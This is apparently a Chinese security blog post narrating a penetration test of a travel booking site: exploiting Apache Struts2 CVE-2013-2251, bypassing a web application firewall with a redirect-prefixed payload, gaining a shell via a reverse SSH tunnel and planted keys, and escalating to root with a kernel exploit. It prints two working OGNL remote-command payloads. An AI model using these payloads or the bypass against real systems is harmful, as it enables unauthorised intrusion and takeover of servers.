一次绕过防火墙获取RCE以及提权到root权限的渗透过程

一次绕过防火墙获取RCE以及提权到root权限的渗透过程

迪哥讲事 2023-09-28 12:23

本文是关于
Apache struts2 CVE-2013-2251是由于导致执行远程命令的影响而被高度利用的漏洞。简而言之,
 通过操纵以“action:”/”redirect:”/”redirectAction:”为前缀的参数引入的漏洞,允许在使用<Struts 2.3.15作为框架的Java Web应用程序中执行远程命令。

现在,当这个漏洞以病毒式疯狂传播时,主要的应用防火墙厂商开始更新它们的规则引擎和检测技术,以防止它发生。但是作者不仅能够绕过防火墙并获得远程代码执行,还能够通过利用内核漏洞来提权到以root用户身份获取服务器权限。

当作者在测试旅行预订网站时,是

因为为了找到应用程序是否运行在易受攻击的Apache Struts框架上的漏洞利用,只需检查以下易受攻击的参数
-“action, redirect,redirectAction”和正确的有效攻击负载,通过
google找到利用poc的博客(必须构建一个
OGNL表达式),
http://blog.opensecurityresearch.com/2014/02/attacking-struts-with-cve-2013-2251.html ,下面是用于运行命令
“ifconfig”的有效负载。

1

redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{‘ ifconfig’})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}

但正如预料的那样,它被应用防火墙阻止了,并将重定向到一个
bot机器页面 。

当这样的事情发生在作者身上时,正如前面指出的那样,知道哪些参数易受攻击,其中之一是在上述请求中使用的
“redirect”参数。 
“redirect”,是的,你觉得它是正确的,让我们尝试在这里重定向,只是把它重定向到http://www.goal.com

正如你所看到的那样,作者得到了
302重定向到位置http://www.goal.com ,所以之前的
ifconfig命令有效载荷被阻止了,这个重定向方法,给了作者一个绕过防火墙的思路,所以,将上面的有效负载进行修改如下:

1

redirect:http://www.goal.com/${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{‘ ifconfig’})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}

并发起请求:

下面显示了能够绕过防火墙并获得运行的
“ifconfig”命令输出信息:

下一个目标是获得服务器的远程
shell,作者使用反向SSH隧道和公钥认证来尝试并获取
shell,它允许SSH用户在不输入密码的情况下登录。

因此,作者必须将攻击者服务器的ssh公钥放入受害服务器的授权路径下~/.ssh/authorized_keys,为了获取授权身份,并且获取为反向
ssh隧道,还必须添加受害ssh服务器的id_rsa.pub公钥。

为了阐述上面2个关键词的概念并理解
公钥认证的概念
—–id_rsa.pub是您添加到其他主机的authorized_keys文件以允许您以该用户身份登录的公钥。
 authorized_keys是允许登录到特定服务器上的特定帐户的公钥列表。

第一步
 – 使用RCE查找受害服务器的id_rsa.pub文件位置

第二步
 – 将authorized_keys从受害者服务器复制到攻击者服务器上

第三步
 – 将修改后的authorized_keys从攻击者服务器复制回来,通过读取
id_rsa.pub获得shell.

最后一步
 – SSH在攻击者机器上使用反向隧道,所以运行了如下命令行:

能够获得服务器的远程
shell,但没以root登陆的权限,这就意味着只有有限的权利访问文件和命令执行。
 现在为了获取以root用户身份登录的权限,作者首先查看当前受害机器上运行的内核版本是什么:

因此发现了内核版本是
2.6.32,通过google查找到利用的
CVE,该CVE可

容易进行账户提权和漏洞利用
—-https://github.com/realtalk/cve-2013-2094 ,最终够获得root用户权限。

这就是如何通过利用
apache strut 2漏洞和内核版本漏洞利用结合来获取以root用户服务器的远程
shell。

如果你是一个长期主义者,欢迎加入我的知识星球(优先查看这个链接,里面可能还有优惠券
),我们一起往前走,每日都会更新,精细化运营,微信识别二维码付费即可加入,如不满意,72 小时内可在 App 内无条件自助退款

往期回顾

2022年度精选文章

SSRF研究笔记

xss研究笔记

dom-xss精选文章

Nuclei权威指南-如何躺赚

漏洞赏金猎人系列-如何测试设置功能IV

漏洞赏金猎人系列-如何测试注册功能以及相关Tips

福利视频

笔者自己录制的一套php视频教程(适合0基础的),感兴趣的童鞋可以看看,基础视频总共约200多集,目前已经录制完毕,后续还有更多视频出品

https://space.bilibili.com/177546377/channel/seriesdetail?sid=2949374

技术交流

技术交流请加笔者微信:richardo1o1 (暗号:growing)